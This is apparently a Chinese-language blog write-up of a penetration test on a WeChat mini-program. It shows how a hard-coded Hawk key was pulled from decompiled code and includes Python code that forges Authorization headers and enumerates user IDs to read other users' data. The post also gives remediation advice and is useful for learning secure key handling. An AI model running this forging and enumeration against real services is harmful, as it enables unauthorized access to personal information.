记一次微信小程序 Authorization 头伪造与渗透测试过程

声明

本文章所分享内容仅用于网络安全相关的技术讨论和学习,注意,切勿用于违法途径,所有渗透测试都需要获取授权,违者后果自行承担,与本文章及作者无关,请谨记守法。

概述

在一次针对微信小程序的渗透测试中,我发现了一个有趣的认证漏洞:通过分析小程序源码,成功提取了 Hawk 认证的密钥信息,实现了 Authorization 头的伪造,并利用此漏洞对用户 ID 进行枚举越权测试,最终获取到了敏感的用户信息。

正文

一、问题发现与初步分析

1. 数据包捕获与分析

在使用抓包工具分析微信小程序网络请求时,我注意到所有 API 请求都携带了一个特殊的 Authorization头:

d2b5ca33bd20260323173707

Authorization: Hawk id="wasx",ts="1772093367",nonce="6b206fc1c135256cf58e428e117e568c",mac="WOqrK7hg+iEx3E5qfZVMIlVwr3e+DZZW36KK8L33Gtw="

这个头包含了几个关键参数:

  • id: 固定为 “wasx”
  • ts: 时间戳
  • nonce: 随机字符串
  • mac: 基于以上参数计算的消息认证码

2. 小程序源码分析

通过反编译小程序代码,我在 app-service.js 文件中找到了 Hawk 认证的核心实现:

d2b5ca33bd20260323173801

// Hawk头构造
header: function(r, n, i) {
    var a = i.timestamp || e.utils.nowSec(i.localtimeOffsetMsec),
        s = i.credentials;
    if (!(s && s.id && s.key && s.algorithm)) throw new Error("Invalid credentials");
    var o = {
            ts: a,
            nonce: i.nonce || e.utils.randomString(6),
            method: n,
            resource: r.resource,
            host: r.host,
            port: r.port
        },
        c = e.crypto.calculateMac("header", s, o),
        h = 'Hawk id="' + s.id + '",ts="' + o.ts + '",nonce="' + o.nonce + '",mac="' + c + '"';
    return { artifacts: o, header: h }
}

更重要的是,我发现了硬编码的密钥信息:

d2b5ca33bd20260323173834

exports.config = {
    xxxApiUserName: "wasx",
    xxxApiPassword: "xxxx",
    xxxApiKey: "xxxxx"
}

关键发现:Hawk 认证的密钥是由 xxxxApiKeyxxxxApiPassword 拼接而成的!

二、Hawk 认证机制分析

1. Hawk 认证原理

Hawk 是一种基于 HMAC 的 HTTP 认证机制,其核心原理是:

  1. 客户端使用密钥对请求参数进行哈希计算,生成 MAC
  2. 服务器使用相同的密钥和参数重新计算 MAC
  3. 比较 MAC 是否一致,以验证请求的合法性

2. 认证参数计算

通过分析源码,我确定了 MAC 计算的关键步骤:

  • 时间戳(ts):当前 Unix 时间戳
  • 随机字符串(nonce):32 位十六进制字符串
  • 规范化字符串:包含请求方法、URL、主机等信息
  • HMAC-SHA256:使用拼接后的密钥对规范化字符串进行哈希

三、编写脚本实现

1. 核心类设计

我创建了 HawkAuth 类来实现 Hawk 认证头的生成:

class HawkAuth:
    def __init__(self, id, key, algorithm="sha256"):
        self.id = id
        self.key = key
        self.algorithm = algorithm
    
    def generate_nonce(self):
        """生成 32 位十六进制的 nonce,与原始 newGUID() 函数一致"""
        characters = string.hexdigits.lower()
        return ''.join(random.choice(characters) for _ in range(32))
    
    def generate_normalized_string(self, timestamp, nonce, method, resource, host, port):
        parts = [
            f"hawk.1.header",
            str(timestamp),
            nonce,
            method.upper(),
            resource,
            host.lower(),
            str(port),
            "",
            ""
        ]
        return "\n".join(parts) + "\n"
    
    def calculate_mac(self, normalized_string):
        if self.algorithm == "sha256":
            h = hmac.new(self.key.encode('utf-8'), normalized_string.encode('utf-8'), hashlib.sha256)
        else:
            h = hmac.new(self.key.encode('utf-8'), normalized_string.encode('utf-8'), hashlib.sha1)
        return base64.b64encode(h.digest()).decode('utf-8')

2. 认证头生成

def generate_header(self, url, method):
    parsed_url = urlparse(url)
    host = parsed_url.netloc.split(':')[0]
    port = parsed_url.port or (443 if parsed_url.scheme == 'https' else 80)
    
    path = parsed_url.path
    query = parsed_url.query
    
    timestamp = int(time.time())
    nonce = self.generate_nonce()
    
    resource = path + ('?' + query if query else '')
    
    normalized_string = self.generate_normalized_string(timestamp, nonce, method, resource, host, port)
    mac = self.calculate_mac(normalized_string)
    
    header = f'Hawk id="{self.id}",ts="{timestamp}",nonce="{nonce}",mac="{mac}"'
    
    return header, timestamp, nonce

四、功能扩展与业务越权测试

1. 用户 ID 枚举功能

为了测试认证漏洞的影响范围,我实现了用户 ID 枚举功能,支持:

  • 前 3 位完整枚举(000-999)
  • 后 3 位完整枚举(000-999)
  • 范围枚举(±N)
def enumerate_personalid(base_url, method, hawk_auth, base_personalid, direction, range_val, cookie=None, full_range=False):
    # 生成待测试的 ID 列表
    # 发送请求并记录结果
    # 写入日志文件

2. 用户 ID 枚举测试

使用 hawk_forge.py 进行 ID 枚举:

python hawk_forge.py -p 147248 -d back -r 3

测试结果显示所有请求都成功响应,证明认证头伪造成功。

日志记录

为了方便分析结果,我实现了日志记录功能,将成功的响应保存到 ru.log 文件:

def write_to_log(data):
    """将成功结果写入ru.log文件"""
    try:
        with open('ru.log', 'a', encoding='utf-8') as f:
            timestamp = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())
            log_entry = {
                'timestamp': timestamp,
                'data': data
            }
            f.write(json.dumps(log_entry, ensure_ascii=False) + '\n')
    except Exception as e:
        print(f"  写入日志失败: {str(e)}")

d2b5ca33bd20260323174031

五、遇到的问题与解决方案

1. Nonce 格式问题

问题:生成的 nonce 与原始数据包格式不一致
解决方案:分析js文件中 newGUID() 函数,实现 32 位十六进制 nonce 生成

2. MAC 计算错误

问题:生成的 MAC 与服务器计算的不一致,导致 “MAC illegal” 错误
解决方案:确保使用与实际请求一致的 URL 生成认证头

六、实验验证

1. 认证头生成测试

使用 hawk_header_generator.py 生成认证头:

python hawk_header_generator.py -u "https://api.xxxxx.com/api/xxxxx/InfoByid?memberid=147248"

生成结果:

d2b5ca33bd20260323174115

Authorization: Hawk id="wasx",ts="1772097991",nonce="bfdba17af30dda3abcbd6f3a2fe848c3",mac="XIKYWrQ+lwREBQKyjmeNzxUP67xq04tkms/tEX0Yjb8="

总结

关键发现

  1. 密钥泄露:小程序代码中硬编码了 Hawk 认证的密钥信息
  2. 认证头伪造:利用提取的密钥,成功实现了 Authorization 头的伪造
  3. 用户 ID 枚举:通过伪造的认证头,实现了对用户 ID 的枚举测试查看任意用户信息
  4. 信息泄露:枚举测试过程中获取到了用户的敏感信息

安全建议

  1. 密钥管理:避免在客户端代码中硬编码密钥信息,应使用服务端动态生成
  2. 认证机制:考虑使用更安全的认证机制,如 JWT 或 OAuth
  3. 访问控制:加强 API 的访问控制,限制对敏感信息的访问
  4. 输入验证:对用户输入进行严格验证,防止枚举攻击
请登录后发表评论

    请登录后查看回复内容